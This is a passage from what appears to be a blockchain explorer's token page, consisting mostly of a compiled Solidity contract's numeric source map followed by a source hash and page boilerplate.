041:10;7013:25;733:10:0;7004:7:1;7013:9;:25::i;:::-;:38;;;;:::i;:::-;6988:8;:64::i;8949:598::-;9045:5;;-1:-1:-1;;;;;9045:5:1;9031:10;:19;9023:28;;;;;;-1:-1:-1;;;;;9070:21:1;;9062:67;;;;-1:-1:-1;;;9062:67:1;;4474:2:10;9062:67:1;;;4456:21:10;4513:2;4493:18;;;4486:30;4552:34;4532:18;;;4525:62;-1:-1:-1;;;4603:18:10;;;4596:31;4644:19;;9062:67:1;;;;;;;;;-1:-1:-1;;;;;9167:18:1;;9142:22;9167:18;;;:9;:18;;;;;;9204:24;;;;9196:71;;;;-1:-1:-1;;;9196:71:1;;4876:2:10;9196:71:1;;;4858:21:10;4915:2;4895:18;;;4888:30;4954:34;4934:18;;;4927:62;-1:-1:-1;;;5005:18:10;;;4998:32;5047:19;;9196:71:1;4674:398:10;9196:71:1;-1:-1:-1;;;;;9303:18:1;;;;;;:9;:18;;;;;;;;9324:23;;;9303:44;;9452:10;9442:21;;;;;;;:31;;;;;;9502:37;1645:25:10;;;9452:10:1;;9303:18;9502:37;;1618:18:10;9502:37:1;;;;;;;;9012:535;8949:598;;:::o;8257:182:4:-;8359:4;1041:13:9;:11;:13::i;:::-;-1:-1:-1;8381:11:4::1;:26:::0;8427:4:::1;::::0;8257:182::o;1803:103:9:-;1041:13;:11;:13::i;:::-;1868:30:::1;1895:1;1868:18;:30::i;:::-;1803:103::o:0;8447:198:4:-;8557:4;1041:13:9;:11;:13::i;:::-;-1:-1:-1;8579:15:4::1;:34:::0;8633:4:::1;::::0;8447:198::o;1820:106:1:-;1878:13;1911:7;1904:14;;;;;:::i;5894:507::-;6016:4;733:10:0;6016:4:1;6104:25;733:10:0;6121:7:1;6104:9;:25::i;:::-;6077:52;;6182:15;6162:16;:35;;6140:122;;;;-1:-1:-1;;;6140:122:1;;5279:2:10;6140:122:1;;;5261:21:10;5318:2;5298:18;;;5291:30;5357:34;5337:18;;;5330:62;-1:-1:-1;;;5408:18:10;;;5401:35;5453:19;;6140:122:1;5077:401:10;6140:122:1;6298:60;6307:5;6314:7;6342:15;6323:16;:34;6298:8;:60::i;3714:236::-;3831:4;733:10:0;3892:28:1;733:10:0;3909:2:1;3913:6;3892:9;:28::i;7828:421:4:-;7976:4;1041:13:9;:11;:13::i;:::-;8045:2:4::1;8007:33;8024:16:::0;8007;:33:::1;:::i;:::-;8006:41;;7998:98;;;::::0;-1:-1:-1;;;7998:98:4;;5685:2:10;7998:98:4::1;::::0;::::1;5667:21:10::0;5724:2;5704:18;;;5697:30;5763:34;5743:18;;;5736:62;-1:-1:-1;;;5814:18:10;;;5807:42;5866:19;;7998:98:4::1;5483:408:10::0;7998:98:4::1;-1:-1:-1::0;8107:15:4::1;:34:::0;;;;8152:15:::1;:34:::0;-1:-1:-1;8197:18:4::1;:22:::0;8237:4:::1;::::0;7828:421::o;7578:242::-;7706:15;;7662:4;;-1:-1:-1;;;;;7706:15:4;7692:10;:29;7684:38;;;;;;-1:-1:-1;7733:7:4;:19;;-1:-1:-1;;;;;7733:19:4;;;-1:-1:-1;;;;;;7733:19:4;;;;;;;;7763:15;:27;;;;;;;;7733:19;;7578:242::o;3307:201:1:-;-1:-1:-1;;;;;3473:18:1;;;3441:7;3473:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3307:201::o;2061:238:9:-;1041:13;:11;:13::i;:::-;-1:-1:-1;;;;;2164:22:9;::::1;2142:110;;;::::0;-1:-1:-1;;;2142:110:9;;6098:2:10;2142:110:9::1;::::0;::::1;6080:21:10::0;6137:2;6117:18;;;6110:30;6176:34;6156:18;;;6149:62;-1:-1:-1;;;6227:18:10;;;6220:36;6273:19;;2142:110:9::1;5896:402:10::0;2142:110:9::1;2263:28;2282:8;2263:18;:28::i;:::-;2061:238:::0;:::o;9985:380:1:-;-1:-1:-1;;;;;10121:19:1;;10113:68;;;;-1:-1:-1;;;10113:68:1;;6505:2:10;10113:68:1;;;6487:21:10;6544:2;6524:18;;;6517:30;6583:34;6563:18;;;6556:62;-1:-1:-1;;;6634:18:10;;;6627:34;6678:19;;10113:68:1;6303:400:10;10113:68:1;-1:-1:-1;;;;;10200:21:1;;10192:68;;;;-1:-1:-1;;;10192:68:1;;6910:2:10;10192:68:1;;;6892:21:10;6949:2;6929:18;;;6922:30;6988:34;6968:18;;;6961:62;-1:-1:-1;;;7039:18:10;;;7032:32;7081:19;;10192:68:1;6708:398:10;10192:68:1;-1:-1:-1;;;;;10273:18:1;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10325:32;;1645:25:10;;;10325:32:1;;1618:18:10;10325:32:1;1499:177:10;10656:502:1;10791:24;10818:25;10828:5;10835:7;10818:9;:25::i;:::-;10791:52;;-1:-1:-1;;10858:16:1;:37;10854:297;;10958:6;10938:16;:26;;10912:117;;;;-1:-1:-1;;;10912:117:1;;7313:2:10;10912:117:1;;;7295:21:10;7352:2;7332:18;;;7325:30;7391:31;7371:18;;;7364:59;7440:18;;10912:117:1;7111:353:10;10912:117:1;11073:51;11082:5;11089:7;11117:6;11098:16;:25;11073:8;:51::i;:::-;10780:378;10656:502;;;:::o;4029:2149:4:-;-1:-1:-1;;;;;4127:18:4;;4119:68;;;;-1:-1:-1;;;4119:68:4;;;;;;;:::i;:::-;-1:-1:-1;;;;;4206:16:4;;4198:64;;;;-1:-1:-1;;;4198:64:4;;;;;;;:::i;:::-;4300:6;4281:15;4291:4;-1:-1:-1;;;;;2312:18:1;2280:7;2312:18;;;:9;:18;;;;;;;2161:177;4281:15:4;:25;;4273:76;;;;-1:-1:-1;;;4273:76:4;;;;;;;:::i;:::-;4375:13;-1:-1:-1;;;;;4367:21:4;:4;-1:-1:-1;;;;;4367:21:4;;:44;;;;4398:13;-1:-1:-1;;;;;4392:19:4;:2;-1:-1:-1;;;;;4392:19:4;;4367:44;4366:67;;;;-1:-1:-1;4417:16:4;;;;4416:17;4366:67;4362:1809;;;4462:13;-1:-1:-1;;;;;4454:21:4;:4;-1:-1:-1;;;;;4454:21:4;;4450:686;;4558:18;;4549:4;4496:32;2312:18:1;;;:9;:18;;;;;;4496:32:4;;4531:45;;;:::i;:::-;4496:80;;4627:30;;4599:24;:58;4595:154;;4682:47;4698:30;;4682:15;:47::i;:::-;4795:24;;4772:18;;4771:48;4767:354;;4844:43;4862:24;;4844:17;:43::i;:::-;4932:24;;4910:18;;:46;;;;;;;:::i;:::-;;;;-1:-1:-1;;4999:15:4;;4991:52;;4979:9;;-1:-1:-1;;;;;4999:15:4;;5021:21;4991:52;;;;;4979:9;4991:52;4979:9;4991:52;5021:21;4999:15;4991:52;;;;;;;4979:64;;5074:4;5066:35;;;;-1:-1:-1;;;5066:35:4;;9018:2:10;5066:35:4;;;9000:21:10;9057:2;9037:18;;;9030:30;-1:-1:-1;;;9076:18:10;;;9069:48;9134:18;;5066:35:4;8816:342:10;5066:35:4;4821:300;4767:354;4477:659;4450:686;-1:-1:-1;;;;;5193:24:4;;5152:22;5193:24;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;5221:22:4;;;;;;:18;:22;;;;;;;;5193:50;5189:839;;;-1:-1:-1;5281:6:4;5189:839;;;5360:11;;5350:6;:21;;5342:91;;;;-1:-1:-1;;;5342:91:4;;9365:2:10;5342:91:4;;;9347:21:10;9404:2;9384:18;;;9377:30;9443:34;9423:18;;;9416:62;9514:27;9494:18;;;9487:55;9559:19;;5342:91:4;9163:421:10;5342:91:4;5463:13;-1:-1:-1;;;;;5455:21:4;:4;-1:-1:-1;;;;;5455:21:4;;5452:178;;;5536:15;;-1:-1:-1;;;;;2312:18:1;;2280:7;2312:18;;;:9;:18;;;;;;5509:22:4;;:6;:22;:::i;:::-;5508:43;;5500:110;;;;-1:-1:-1;;;5500:110:4;;9791:2:10;5500:110:4;;;9773:21:10;9830:2;9810:18;;;9803:30;9869:34;9849:18;;;9842:62;-1:-1:-1;;;9920:18:10;;;9913:52;9982:19;;5500:110:4;9589:418:10;5500:110:4;5650:22;5705:3;5686:15;;5677:6;:24;;;;:::i;:::-;5676:32;;;;:::i;:::-;5650:59;;5728:22;5783:3;5764:15;;5755:6;:24;;;;:::i;:::-;5754:32;;;;:::i;:::-;5728:59;-1:-1:-1;5833:31:4;5728:59;5833:14;:31;:::i;:::-;5823:42;;:6;:42;:::i;:::-;5806:59;;5906:14;5884:18;;:36;;;;;;;:::i;:::-;;;;-1:-1:-1;5941:71:4;;-1:-1:-1;5957:4:4;5971;5979:31;5996:14;5979;:31;:::i;:::-;5941:15;:71::i;:::-;5323:705;;5189:839;6042:41;6058:4;6064:2;6068:14;6042:15;:41::i;4362:1809::-;6126:33;6142:4;6148:2;6152:6;6126:15;:33::i;:::-;4029:2149;;;:::o;1320:132:9:-;1228:6;;-1:-1:-1;;;;;1228:6:9;733:10:0;1384:23:9;1376:68;;;;-1:-1:-1;;;1376:68:9;;10609:2:10;1376:68:9;;;10591:21:10;;;10628:18;;;10621:30;10687:34;10667:18;;;10660:62;10739:18;;1376:68:9;10407:356:10;2459:191:9;2552:6;;;-1:-1:-1;;;;;2569:17:9;;;-1:-1:-1;;;;;;2569:17:9;;;;;;;2602:40;;2552:6;;;2569:17;2552:6;;2602:40;;2533:16;;2602:40;2522:128;2459:191;:::o;6186:474:4:-;2542:16;:23;;-1:-1:-1;;2542:23:4;2561:4;2542:23;;;:16;6288:24:::1;6311:1;6288:20:::0;:24:::1;:::i;:::-;6272:41:::0;-1:-1:-1;6324:17:4::1;6345:27;6272:41:::0;6345:20;:27:::1;:::i;:::-;6324:49:::0;-1:-1:-1;6411:21:4::1;6445:23;6463:4:::0;6445:17:::1;:23::i;:::-;6481:18;6503:38;6527:14:::0;6503:21:::1;:38;:::i;:::-;6481:61;;6555:36;6569:9;6580:10;6555:13;:36::i;:::-;6609:43;::::0;;10970:25:10;;;11026:2;11011:18;;11004:34;;;11054:18;;;11047:34;;;6609:43:4::1;::::0;10958:2:10;10943:18;6609:43:4::1;;;;;;;-1:-1:-1::0;;2588:16:4;:24;;-1:-1:-1;;2588:24:4;;;-1:-1:-1;;;6186:474:4:o;6668:496::-;2542:16;:23;;-1:-1:-1;;2542:23:4;2561:4;2542:23;;;6771:16:::1;::::0;;6785:1:::1;6771:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6771:16:4::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6771:16:4::1;6747:40;;6816:4;6798;6803:1;6798:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6798:23:4::1;;;-1:-1:-1::0;;;;;6798:23:4::1;;;::::0;::::1;6842:15;-1:-1:-1::0;;;;;6842:20:4::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6832:4;6837:1;6832:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;6832:32:4::1;;;-1:-1:-1::0;;;;;6832:32:4::1;;;::::0;::::1;6877:62;6894:4;6909:15;6927:11;6877:8;:62::i;:::-;-1:-1:-1::0;;;;;6952:15:4::1;:66;;7033:11:::0;7059:1:::1;7075:4:::0;7102::::1;7123:21;:15;7141:3;7123:21;:::i;:::-;6952:204;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;2588:16:4;:24;;-1:-1:-1;;2588:24:4;;;-1:-1:-1;;;;6668:496:4:o;11166:832:1:-;-1:-1:-1;;;;;11297:18:1;;11289:68;;;;-1:-1:-1;;;11289:68:1;;;;;;;:::i;:::-;-1:-1:-1;;;;;11376:16:1;;11368:64;;;;-1:-1:-1;;;11368:64:1;;;;;;;:::i;:::-;-1:-1:-1;;;;;11467:15:1;;11445:19;11467:15;;;:9;:15;;;;;;11515:21;;;;11493:109;;;;-1:-1:-1;;;11493:109:1;;;;;;;:::i;:::-;-1:-1:-1;;;;;11638:15:1;;;;;;;:9;:15;;;;;;11656:20;;;11638:38;;11856:13;;;;;;:23;;;;;;11911:37;11648:4;11866:2;11670:6;11911:19;:37::i;:::-;11979:2;-1:-1:-1;;;;;11964:26:1;11973:4;-1:-1:-1;;;;;11964:26:1;;11983:6;11964:26;;;;1645:25:10;;1633:2;1618:18;;1499:177;11964:26:1;;;;;;;;11278:720;11166:832;;;:::o;7172:398:4:-;2542:16;:23;;-1:-1:-1;;2542:23:4;2561:4;2542:23;;;7289:62:::1;7306:4;7321:15;7339:11:::0;7289:8:::1;:62::i;:::-;7364:15;-1:-1:-1::0;;;;;7364:31:4::1;;7403:9;7436:4;7456:11;7482:1;7498::::0;7514:7:::1;1228:6:9::0;;-1:-1:-1;;;;;1228:6:9;;1155:87;7514:7:4::1;7364:198;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7364:198:4;;;-1:-1:-1;;;;;12956:15:10;;;7364:198:4::1;::::0;::::1;12938:34:10::0;12988:18;;;12981:34;;;;13031:18;;;13024:34;;;;13074:18;;;13067:34;13138:15;;;13117:19;;;13110:44;7536:15:4::1;13170:19:10::0;;;13163:35;12872:19;;7364:198:4::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;2588:16:4;:24;;-1:-1:-1;;2588:24:4;;;-1:-1:-1;;;7172:398:4:o;8448:168:1:-;8579:29;8591:4;8597:2;8601:6;844:7:0;;-1:-1:-1;;;;;844:15:0;;;:7;;:15;;:32;;-1:-1:-1;863:7:0;;-1:-1:-1;;;;;863:13:0;;;:7;;:13;844:32;840:70;;;763:241;;;:::o;840:70::-;929:7;;-1:-1:-1;;;;;929:7:0;:21;;:34;;-1:-1:-1;960:3:0;;-1:-1:-1;;;;;954:9:0;;;960:3;;954:9;;929:34;:51;;;-1:-1:-1;967:5:0;;-1:-1:-1;;;;;967:13:0;;;:5;;:13;929:51;:66;;;-1:-1:-1;984:5:0;;-1:-1:-1;;;;;984:11:0;;;:5;;:11;929:66;920:76;;;;;14:597:10;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:10;574:15;-1:-1:-1;;570:29:10;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:10:o;616:131::-;-1:-1:-1;;;;;691:31:10;;681:42;;671:70;;737:1;734;727:12;752:315;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:10:o;1681:456::-;1758:6;1766;1774;1827:2;1815:9;1806:7;1802:23;1798:32;1795:52;;;1843:1;1840;1833:12;1795:52;1882:9;1869:23;1901:31;1926:5;1901:31;:::i;:::-;1951:5;-1:-1:-1;2008:2:10;1993:18;;1980:32;2021:33;1980:32;2021:33;:::i;:::-;1681:456;;2073:7;;-1:-1:-1;;;2127:2:10;2112:18;;;;2099:32;;1681:456::o;2539:180::-;2598:6;2651:2;2639:9;2630:7;2626:23;2622:32;2619:52;;;2667:1;2664;2657:12;2619:52;-1:-1:-1;2690:23:10;;2539:180;-1:-1:-1;2539:180:10:o;2724:247::-;2783:6;2836:2;2824:9;2815:7;2811:23;2807:32;2804:52;;;2852:1;2849;2842:12;2804:52;2891:9;2878:23;2910:31;2935:5;2910:31;:::i;:::-;2960:5;2724:247;-1:-1:-1;;;2724:247:10:o;2976:248::-;3044:6;3052;3105:2;3093:9;3084:7;3080:23;3076:32;3073:52;;;3121:1;3118;3111:12;3073:52;-1:-1:-1;;3144:23:10;;;3214:2;3199:18;;;3186:32;;-1:-1:-1;2976:248:10:o;3229:388::-;3297:6;3305;3358:2;3346:9;3337:7;3333:23;3329:32;3326:52;;;3374:1;3371;3364:12;3326:52;3413:9;3400:23;3432:31;3457:5;3432:31;:::i;:::-;3482:5;-1:-1:-1;3539:2:10;3524:18;;3511:32;3552:33;3511:32;3552:33;:::i;:::-;3604:7;3594:17;;;3229:388;;;;;:::o;3622:380::-;3701:1;3697:12;;;;3744;;;3765:61;;3819:4;3811:6;3807:17;3797:27;;3765:61;3872:2;3864:6;3861:14;3841:18;3838:38;3835:161;;;3918:10;3913:3;3909:20;3906:1;3899:31;3953:4;3950:1;3943:15;3981:4;3978:1;3971:15;3835:161;;3622:380;;;:::o;4007:127::-;4068:10;4063:3;4059:20;4056:1;4049:31;4099:4;4096:1;4089:15;4123:4;4120:1;4113:15;4139:128;4179:3;4210:1;4206:6;4203:1;4200:13;4197:39;;;4216:18;;:::i;:::-;-1:-1:-1;4252:9:10;;4139:128::o;7469:401::-;7671:2;7653:21;;;7710:2;7690:18;;;7683:30;7749:34;7744:2;7729:18;;7722:62;-1:-1:-1;;;7815:2:10;7800:18;;7793:35;7860:3;7845:19;;7469:401::o;7875:399::-;8077:2;8059:21;;;8116:2;8096:18;;;8089:30;8155:34;8150:2;8135:18;;8128:62;-1:-1:-1;;;8221:2:10;8206:18;;8199:33;8264:3;8249:19;;7875:399::o;8279:402::-;8481:2;8463:21;;;8520:2;8500:18;;;8493:30;8559:34;8554:2;8539:18;;8532:62;-1:-1:-1;;;8625:2:10;8610:18;;8603:36;8671:3;8656:19;;8279:402::o;8686:125::-;8726:4;8754:1;8751;8748:8;8745:34;;;8759:18;;:::i;:::-;-1:-1:-1;8796:9:10;;8686:125::o;10012:168::-;10052:7;10118:1;10114;10110:6;10106:14;10103:1;10100:21;10095:1;10088:9;10081:17;10077:45;10074:71;;;10125:18;;:::i;:::-;-1:-1:-1;10165:9:10;;10012:168::o;10185:217::-;10225:1;10251;10241:132;;10295:10;10290:3;10286:20;10283:1;10276:31;10330:4;10327:1;10320:15;10358:4;10355:1;10348:15;10241:132;-1:-1:-1;10387:9:10;;10185:217::o;11224:127::-;11285:10;11280:3;11276:20;11273:1;11266:31;11316:4;11313:1;11306:15;11340:4;11337:1;11330:15;11356:251;11426:6;11479:2;11467:9;11458:7;11454:23;11450:32;11447:52;;;11495:1;11492;11485:12;11447:52;11527:9;11521:16;11546:31;11571:5;11546:31;:::i;11612:980::-;11874:4;11922:3;11911:9;11907:19;11953:6;11942:9;11935:25;11979:2;12017:6;12012:2;12001:9;11997:18;11990:34;12060:3;12055:2;12044:9;12040:18;12033:31;12084:6;12119;12113:13;12150:6;12142;12135:22;12188:3;12177:9;12173:19;12166:26;;12227:2;12219:6;12215:15;12201:29;;12248:1;12258:195;12272:6;12269:1;12266:13;12258:195;;;12337:13;;-1:-1:-1;;;;;12333:39:10;12321:52;;12428:15;;;;12393:12;;;;12369:1;12287:9;12258:195;;;-1:-1:-1;;;;;;;12509:32:10;;;;12504:2;12489:18;;12482:60;-1:-1:-1;;;12573:3:10;12558:19;12551:35;12470:3;11612:980;-1:-1:-1;;;11612:980:10:o;13209:306::-;13297:6;13305;13313;13366:2;13354:9;13345:7;13341:23;13337:32;13334:52;;;13382:1;13379;13372:12;13334:52;13411:9;13405:16;13395:26;;13461:2;13450:9;13446:18;13440:25;13430:35;;13505:2;13494:9;13490:18;13484:25;13474:35;;13209:306;;;;;:::o
Swarm Source
ipfs://98fe7e6c9566c1d59232e6e33ca3e449a80e23ca1934e19bf09dd95670bad324
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.